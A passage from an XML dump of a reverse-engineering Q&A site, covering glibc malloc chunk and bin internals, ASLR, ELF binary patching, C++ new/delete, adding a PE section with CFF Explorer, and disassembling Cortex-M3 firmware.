+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1082             |             (size of chunk, but used for application data)    |&#xA;1083             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1084             |             Size of next chunk, in bytes                |A|0|1|&#xA;1085             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1086 &#xA;1087     Where &quot;chunk&quot; is the front of the chunk for the purpose of most of&#xA;1088     the malloc code, but &quot;mem&quot; is the pointer that is returned to the&#xA;1089     user.  &quot;Nextchunk&quot; is the beginning of the next contiguous chunk.&#xA;1090 &#xA;1091     Chunks always begin on even word boundaries, so the mem portion&#xA;1092     (which is returned to the user) is also on an even word boundary, and&#xA;1093     thus at least double-word aligned.&#xA;1094 &#xA;1095     Free chunks are stored in circular doubly-linked lists, and look like this:&#xA;1096 &#xA;1097     chunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1098             |             Size of previous chunk, if unallocated (P clear)  |&#xA;1099             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1100     `head:' |             Size of chunk, in bytes                     |A|0|P|&#xA;1101       mem-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1102             |             Forward pointer to next chunk in list             |&#xA;1103             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1104             |             Back pointer to previous chunk in list            |&#xA;1105             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1106             |             Unused space (may be 0 bytes long)                .&#xA;1107             .                                                               .&#xA;1108             .                                                               |&#xA;1109 nextchunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1110     `foot:' |             Size of chunk, in bytes                           |&#xA;1111             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1112             |             Size of next chunk, in bytes                |A|0|0|&#xA;1113             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1114 &#xA;1115     The P (PREV_INUSE) bit, stored in the unused low-order bit of the&#xA;1116     chunk size (which is always a multiple of two words), is an in-use&#xA;1117     bit for the *previous* chunk.  If that bit is *clear*, then the&#xA;1118     word before the current chunk size contains the previous chunk&#xA;1119     size, and can be used to find the front of the previous chunk.&#xA;1120     The very first chunk allocated always has this bit set,&#xA;1121     preventing access to non-existent (or non-owned) memory. If&#xA;1122     prev_inuse is set for any given chunk, then you CANNOT determine&#xA;1123     the size of the previous chunk, and might even get a memory&#xA;1124     addressing fault when trying to do so.&#xA;1125 &#xA;1126     The A (NON_MAIN_ARENA) bit is cleared for chunks on the initial,&#xA;1127     main arena, described by the main_arena variable.  When additional&#xA;1128     threads are spawned, each thread receives its own arena (up to a&#xA;1129     configurable limit, after which arenas are reused for multiple&#xA;1130     threads), and the chunks in these arenas have the A bit set.  To&#xA;1131     find the arena for a chunk on such a non-main arena, heap_for_ptr&#xA;1132     performs a bit mask operation and indirection through the ar_ptr&#xA;1133     member of the per-heap header heap_info (see arena.c).&#xA;1134 &#xA;1135     Note that the `foot' of the current chunk is actually represented&#xA;1136     as the prev_size of the NEXT chunk. This makes it easier to&#xA;1137     deal with alignments etc but can be very confusing when trying&#xA;1138     to extend or adapt this code.&#xA;1139 &#xA;1140     The three exceptions to all this are:&#xA;1141 &#xA;1142      1. The special chunk `top' doesn't bother using the&#xA;1143         trailing size field since there is no next contiguous chunk&#xA;1144         that would have to index off it. After initialization, `top'&#xA;1145         is forced to always exist.  If it would become less than&#xA;1146         MINSIZE bytes long, it is replenished.&#xA;1147 &#xA;1148      2. Chunks allocated via mmap, which have the second-lowest-order&#xA;1149         bit M (IS_MMAPPED) set in their size fields.  Because they are&#xA;1150         allocated one-by-one, each must contain its own trailing size&#xA;1151         field.  If the M bit is set, the other bits are ignored&#xA;1152         (because mmapped chunks are neither in an arena, nor adjacent&#xA;1153         to a freed chunk).  The M bit is also used for chunks which&#xA;1154         originally came from a dumped heap via malloc_set_state in&#xA;1155         hooks.c.&#xA;1156 &#xA;1157      3. Chunks in fastbins are treated as allocated chunks from the&#xA;1158         point of view of the chunk allocator.  They are consolidated&#xA;1159         with their neighbors only in bulk, in malloc_consolidate.&#xA;1160 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;comments on internal data structures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;1313    -------------------- Internal data structures --------------------&#xA;1314 &#xA;1315    All internal state is held in an instance of malloc_state defined&#xA;1316    below. There are no other static variables, except in two optional&#xA;1317    cases:&#xA;1318  * If USE_MALLOC_LOCK is defined, the mALLOC_MUTEx declared above.&#xA;1319  * If mmap doesn't support MAP_ANONYMOUS, a dummy file descriptor&#xA;1320      for mmap.&#xA;1321 &#xA;1322    Beware of lots of tricks that minimize the total bookkeeping space&#xA;1323    requirements. The result is a little over 1K bytes (for 4byte&#xA;1324    pointers and size_t.)&#xA;1325  */&#xA;1326 &#xA;1327 /*&#xA;1328    Bins&#xA;1329 &#xA;1330     An array of bin headers for free chunks. Each bin is doubly&#xA;1331     linked.  The bins are approximately proportionally (log) spaced.&#xA;1332     There are a lot of these bins (128). This may look excessive, but&#xA;1333     works very well in practice.  Most bins hold sizes that are&#xA;1334     unusual as malloc request sizes, but are more usual for fragments&#xA;1335     and consolidated sets of chunks, which is what these bins hold, so&#xA;1336     they can be found quickly.  All procedures maintain the invariant&#xA;1337     that no consolidated chunk physically borders another one, so each&#xA;1338     chunk in a list is known to be preceeded and followed by either&#xA;1339     inuse chunks or the ends of memory.&#xA;1340 &#xA;1341     Chunks in bins are kept in size order, with ties going to the&#xA;1342     approximately least recently used chunk. Ordering isn't needed&#xA;1343     for the small bins, which all contain the same-sized chunks, but&#xA;1344     facilitates best-fit allocation for larger chunks. These lists&#xA;1345     are just sequential. Keeping them in order almost never requires&#xA;1346     enough traversal to warrant using fancier ordered data&#xA;1347     structures.&#xA;1348 &#xA;1349     Chunks of the same size are linked with the most&#xA;1350     recently freed at the front, and allocations are taken from the&#xA;1351     back.  This results in LRU (FIFO) allocation order, which tends&#xA;1352     to give each chunk an equal opportunity to be consolidated with&#xA;1353     adjacent freed chunks, resulting in larger free chunks and less&#xA;1354     fragmentation.&#xA;1355 &#xA;1356     To simplify use in double-linked lists, each bin header acts&#xA;1357     as a malloc_chunk. This avoids special-casing for headers.&#xA;1358     But to conserve space and improve locality, we allocate&#xA;1359     only the fd/bk pointers of bins, and then use repositioning tricks&#xA;1360     to treat these as the fields of a malloc_chunk*.&#xA;1361  */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One of the authors of &lt;code&gt;malloc()&lt;/code&gt;, Doug Lea, has written an article called &quot;&lt;a href=&quot;http://gee.cs.oswego.edu/dl/html/malloc.html&quot; rel=&quot;noreferrer&quot;&gt;A Memory Allocator&lt;/a&gt;&quot; which describes how malloc works (note that the article is from 2000, so there will be some out of date info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chunks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lBBmu.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBBmu.gif&quot; alt=&quot;malloc chucks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1ecfs.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ecfs.gif&quot; alt=&quot;binning&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional resource is chapter 7: &quot;Memory Allocation&quot; of &lt;a href=&quot;https://www.nostarch.com/tlpi&quot; rel=&quot;noreferrer&quot;&gt;&quot;The Linux Programming Interface&quot;&lt;/a&gt; by Michael Kerrisk. TLPI is the best reference of any type I have ever encountered and cannot recommend it highly enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram of the implementation of &lt;code&gt;malloc()&lt;/code&gt; and &lt;code&gt;free()&lt;/code&gt; from TLPI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gphFE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gphFE.png&quot; alt=&quot;TLPI malloc and free&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a final note, &lt;code&gt;malloc()&lt;/code&gt; is a wrapper around the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/brk.2.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;brk()&lt;/code&gt; and &lt;code&gt;sbrk()&lt;/code&gt;&lt;/a&gt; system calls, which resize the heap by changing the location of the &lt;a href=&quot;https://stackoverflow.com/questions/6988487/what-does-brk-system-call-do/6990428#6990428&quot;&gt;program break&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From comments in the source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 901   In the new situation, brk() and mmap space is shared and there are no&#xA; 902   artificial limits on brk size imposed by the kernel. What is more,&#xA; 903   applications have started using transient allocations larger than the&#xA; 904   128Kb as was imagined in 2001.&#xA; 905 &#xA; 906   The price for mmap is also high now; each time glibc mmaps from the&#xA; 907   kernel, the kernel is forced to zero out the memory it gives to the&#xA; 908   application. Zeroing memory is expensive and eats a lot of cache and&#xA; 909   memory bandwidth. This has nothing to do with the efficiency of the&#xA; 910   virtual memory system, by doing mmap the kernel just has no choice but&#xA; 911   to zero.&#xA; 912 &#xA; 913   In 2001, the kernel had a maximum size for brk() which was about 800&#xA; 914   megabytes on 32 bit x86, at that point brk() would hit the first&#xA; 915   mmaped shared libaries and couldn't expand anymore. With current 2.6&#xA; 916   kernels, the VA space layout is different and brk() and mmap&#xA; 917   both can span the entire heap at will.&#xA; 918 &#xA; 919   Rather than using a static threshold for the brk/mmap tradeoff,&#xA; 920   we are now using a simple dynamic one. The goal is still to avoid&#xA; 921   fragmentation. The old goals we kept are&#xA; 922   1) try to get the long lived large allocations to use mmap()&#xA; 923   2) really large allocations should always use mmap()&#xA; 924   and we're adding now:&#xA; 925   3) transient allocations should use brk() to avoid forcing the kernel&#xA; 926      having to zero memory over and over again&#xA; 927 &#xA; 928   The implementation works with a sliding threshold, which is by default&#xA; 929   limited to go between 128Kb and 32Mb (64Mb for 64 bitmachines) and starts&#xA; 930   out at 128Kb as per the 2001 default.&#xA; 931 &#xA; 932   This allows us to satisfy requirement 1) under the assumption that long&#xA; 933   lived allocations are made early in the process' lifespan, before it has&#xA; 934   started doing dynamic allocations of the same size (which will&#xA; 935   increase the threshold).&#xA; 936 &#xA; 937   The upperbound on the threshold satisfies requirement 2)&#xA; 938 &#xA; 939   The threshold goes up in value when the application frees memory that was&#xA; 940   allocated with the mmap allocator. The idea is that once the application&#xA; 941   starts freeing memory of a certain size, it's highly probable that this is&#xA; 942   a size the application uses for transient allocations. This estimator&#xA; 943   is there to satisfy the new third requirement.&#xA; 944 &#xA; 945 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-03-04T01:43:13.543" LastActivityDate="2020-03-04T01:43:13.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15039" PostTypeId="2" ParentId="10781" CreationDate="2017-03-28T15:44:34.293" Score="1" Body="&lt;h3&gt;Why is this happening in the first place?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Changing image bases to a different random address each time an image is loaded is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Address Space Layout Randomization&lt;/em&gt;&lt;/a&gt; (In short, ASLR). Most modern OSes employ ASLR on user mode processes (Some OSes do that for kernel mode code as well, at least partially) where this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major advantage of ASLR is that it increases the difficulty if exploiting memory corruption based exploits (often requires a information leak type of bug to mitigate), and therefore encouraged by the security community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to be ASLRed, an image must be &lt;em&gt;relocatable&lt;/em&gt;. That is, it is required to properly function regardless of where in memory it is located. This tends to be complicated because certain instructions (in certain architecture) are position based. For example, on the x86 architecture the &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_26.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;CALL&lt;/code&gt;&lt;/a&gt; instructions can be either &lt;em&gt;relative&lt;/em&gt; or &lt;em&gt;absolute&lt;/em&gt;, making it impossible to change the addresses at which the image is loaded without risking crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image can either make sure it only uses &lt;em&gt;relative&lt;/em&gt; instructions (which might be difficult at times) or provide a &lt;a href=&quot;https://en.wikipedia.org/wiki/Relocation_(computing)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;relation table&lt;/em&gt;&lt;/a&gt; as part of the image file. A relation table explicitly lists all absolute addresses used in the image for the loader to fix in case the image is relocated.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How to avoid ASLR?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Obviously, disabling ASLR is not encouraged because of the protection it provides. On 64bit windows user mode ASLR is &lt;em&gt;mandatory&lt;/em&gt;, so you simply cannot disable it. However, on 32bit windows, you're allowed to and can disable it by disabling the relevant PE flag, by un-checking the marked checkbox in the following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W6QfF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W6QfF.png&quot; alt=&quot;disabling ASLR&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-28T15:44:34.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15040" PostTypeId="2" ParentId="15035" CreationDate="2017-03-28T18:04:29.640" Score="1" Body="&lt;p&gt;the second column appears to be the length of the string in the third column &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from whatever was pasted as sample  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the file so.txt contains the posted sample data &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;awk &quot;{ printf( \&quot;%x \&quot; , length($3)) ;print  $2}&quot; so.txt&#xA;15 15&#xA;15 15&#xA;50 50&#xA;50 50&#xA;3e 3e&#xA;4e 4e&#xA;48 48&#xA;4a 4a&#xA;62 62&#xA;42 42&#xA;4c 4c&#xA;44 44&#xA;58 58&#xA;60 60&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-03-28T18:04:29.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15042" PostTypeId="1" AcceptedAnswerId="15043" CreationDate="2017-03-28T19:46:44.153" Score="3" ViewCount="11775" Body="&lt;p&gt;I am new to reverse engineering and after some research, I haven't found a clear way to do what I want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an ELF file, but not the original source code that generated it. It is really simple and just prints some numbers. I wanted to make a small change in the range of numbers it prints. I have disassembled it and figured out where the change must be made, but I am not sure &lt;strong&gt;how&lt;/strong&gt; to make this change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to edit disassembled code and still generate an executable file? Or should I figure out where in the hex file is the  corresponding information that I want to change and use a hex editor?&lt;/p&gt;&#xA;" OwnerUserId="19691" LastActivityDate="2019-09-29T16:45:35.010" Title="Making changes in ELF file after dissassembly" Tags="|disassembly|elf|hex|" AnswerCount="1" CommentCount="0" ClosedDate="2017-12-09T17:20:34.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="15043" PostTypeId="2" ParentId="15042" CreationDate="2017-03-28T21:30:32.790" Score="6" Body="&lt;p&gt;Since no details about the binary are provided in the question, only a general answer can be given. It sounds like you are trying to statically modify an executable ELF binary. This is also referred to as &lt;a href=&quot;https://unix.stackexchange.com/questions/17553/meaning-of-patching-binary-files&quot;&gt;patching&lt;/a&gt;. This is different from dynamic modification, or program runtime instrumentation.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tools and Examples&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Tools that can be used for patching include &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Patching.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;gdb&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/write.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;radare2&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/thorkill/eresi/wiki/TheELFsh&quot; rel=&quot;nofollow noreferrer&quot;&gt;the ERESI suite&lt;/a&gt;, &lt;a href=&quot;https://linux.die.net/man/1/xxd&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;xxd&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://linux.die.net/man/1/hexedit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;hexedit&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Radare2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nighterse.blogspot.com/2016/07/i-have-binary-patching-and-done-lot-off.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Patch a elf binary in linux with radare2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/tut1/tut1_-_simple_patch.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial 1 - Simple Patch&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://radare.org/get/ncn2010.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;fixing bugs in binaries using r2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;GDB&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26173850/use-gdb-to-modify-binary&quot;&gt;Use gdb to Modify Binary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8200/using-gdb-to-modify-an-executable&quot;&gt;Using GDB to modify an executable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;xxd&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.linuxjournal.com/content/doing-reverse-hex-dump&quot; rel=&quot;nofollow noreferrer&quot;&gt;Doing a Reverse Hex Dump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;hexedit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.archive.org/web/20150105041523/https://www.pacificsimplicity.ca/blog/modifying-linux-elf-binaries-changing-callq-addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modifying Linux ELF Binaries - Changing Callq Addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Similar questions:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14936/how-can-i-change-the-values-in-esp?noredirect=1&amp;amp;lq=1&quot;&gt;How can I change the values in esp?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable?noredirect=1&amp;amp;lq=1&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1843/what-are-the-available-libraries-to-statically-modify-elf-executables?rq=1&quot;&gt;What are the available libraries to statically modify ELF executables?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="28362" LastEditDate="2019-09-29T16:45:35.010" LastActivityDate="2019-09-29T16:45:35.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15044" PostTypeId="1" CreationDate="2017-03-29T02:09:23.347" Score="1" ViewCount="2627" Body="&lt;p&gt;The articles explaining the internals of &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; in glibc are abundant in number. However, I'd like to know how dynamic memory management works in C++, specifically the nitty gritty of &lt;code&gt;new&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; operators. My interest is in the internal data structure maintained as well as the allocation and de-allocation algorithms. What are a few good resources for the same?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2017-03-29T08:29:10.723" LastActivityDate="2017-03-29T08:33:22.530" Title="How does new operator internally work in C++?" Tags="|c++|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15045" PostTypeId="1" AcceptedAnswerId="15048" CreationDate="2017-03-29T03:20:08.610" Score="3" ViewCount="8908" Body="&lt;p&gt;I am trying to add a 1000 byte code cave using LordPE to a standalone exe. From what I understand I have to edit the PE header with a new section of 1000 bytes then open the exe in a hex editor and add 1000 bytes to the end of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add the new section the offset is not at the end of the file and It actually points to existing code. If I change the &lt;code&gt;RawOffset&lt;/code&gt; to match the actual end of file &lt;code&gt;0xAE370&lt;/code&gt; it gets corrupted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why won't the new section get added at the real end of file? Also, how can I add a new 1000 byte section without corrupting the file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;  The debugger still wasn't perfect on the location of the new section in the memory map but I can see my new bytes ~200h down from where they are listed. To get it to work I had to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the new section using CFF &lt;/li&gt;&#xA;&lt;li&gt;Save it and open the file in a hex editor to find the true RawOffset&lt;/li&gt;&#xA;&lt;li&gt;Then manually change the RawOffset in CFF to where my new bytes were actually placed by CFF &lt;code&gt;0xAE378&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Back in CFF right click and rebuild PE header and rebuild image size (not sure if rebuilding the size part was necessary)&lt;/li&gt;&#xA;&lt;li&gt;Now in the debugger navigate to where it says .NewSec is and scroll down a few hundred bytes and the new inserted bytes are there&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Still not sure why the memory map is slightly off but it's not too bad. I suppose once you find them you could edit the virtual address of the section to reflect where it actually is once loaded into memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/56Mgq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/56Mgq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17804" LastEditorUserId="17804" LastEditDate="2017-04-19T05:54:02.173" LastActivityDate="2017-04-19T05:54:02.173" Title="Adding a new PE section for a code cave" Tags="|pe|hex|binary-format|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15047" PostTypeId="2" ParentId="15044" CreationDate="2017-03-29T08:33:22.530" Score="8" Body="&lt;p&gt;This is somewhat compiler-specific but in most cases &lt;code&gt;new&lt;/code&gt; and &lt;code&gt;delete&lt;/code&gt; are basically thin wrappers around &lt;code&gt;malloc&lt;/code&gt; and &lt;code&gt;free&lt;/code&gt; (regarding the allocation of memory itself). Some additional C++ specifics regarding &lt;em&gt;new expressions&lt;/em&gt; and the sequence of construction/destructions of classes and their members are described in the C++ standard (a nice summary is available at &lt;a href=&quot;http://en.cppreference.com/w/cpp/language/new&quot; rel=&quot;noreferrer&quot;&gt;cppreference&lt;/a&gt;). I have described some of the details pertaining to the MSVC++ implementation &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few additional wrinkles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a class can redefine a custom operator &lt;code&gt;new&lt;/code&gt;/&lt;code&gt;delete&lt;/code&gt; which will be called instead of the global one when constructing instances of that class. This can lead to tricky situations with polymorphic classes so the compiler may need to introduce a hidden &lt;em&gt;virtual destructor&lt;/em&gt; function (see again my OpenRCE article).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when allocating an array of classes, many compilers also embed a number of elements in the memory allocated for the array so that it can be destructed correctly. This is one of the reasons why mixing &lt;code&gt;delete&lt;/code&gt; and &lt;code&gt;delete[]&lt;/code&gt; can be  dangerous.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-29T08:33:22.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15048" PostTypeId="2" ParentId="15045" CreationDate="2017-03-29T11:17:13.133" Score="7" Body="&lt;p&gt;Adding sections to PE files is not always as simple as editing the sections table. Sometimes you'll have to handle several edge cases such as menifest, signatures and other potential end-of-file optional &quot;extensions&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although LordPE is a great tool, it isn't the &lt;em&gt;best&lt;/em&gt; tool for this task. It is too low-level, and doesn't let you create a complete new section transparently. It will let you edit the different fields as required for adding the new section, but you'll have to handle everything yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more advanced PE editors, such as &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;noreferrer&quot;&gt;CFF Explorer&lt;/a&gt;, that provide the functionality to create sections from scratch. It will increase the file size of you and create a section you can directly edit from within CFF Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a new section, open a file with CFF Explorer, select the Section Headers option from the lefthand tree view, right click on the sections table, select the &quot;Add Section (Empty Space)&quot; option like in the following picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqXLq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqXLq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, specify the size of the new section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To edit the new section select it, and use the bottom panel to modify, paste, copy or fill the hex view of the section. You can right click on it to open a menu with additional editing options.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-03-29T11:42:31.797" LastActivityDate="2017-03-29T11:42:31.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15049" PostTypeId="1" AcceptedAnswerId="15054" CreationDate="2017-03-29T15:27:31.703" Score="2" ViewCount="1181" Body="&lt;p&gt;I want to extract machine code from XBee DigiMesh firmware (Cortex-M3, EM357), so I have SREC file with 3 sections inside. I suppose that one of these sections is a code section, but arm-none-eabi-objdump reports &quot;unknown instruction&quot; very often. &lt;strong&gt;Does anyone know why this happens?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I try to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm-none-eabi-objcopy --input-target=srec --output-target=binary -j .sec2 xbp24-dm_8073.ehx2.dec sec2.bin&#xA;arm-none-eabi-objdump -D -bbinary -marm -Mforce-thumb sec2.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Firmware: &lt;a href=&quot;http://tmp.nazaryev.ru/xbp24-dm_8073.ehx2.dec&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tmp.nazaryev.ru/xbp24-dm_8073.ehx2.dec&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EM357 datasheet: &lt;a href=&quot;https://www.silabs.com/documents/public/data-sheets/EM35x.pdf&quot; rel=&quot;nofollow 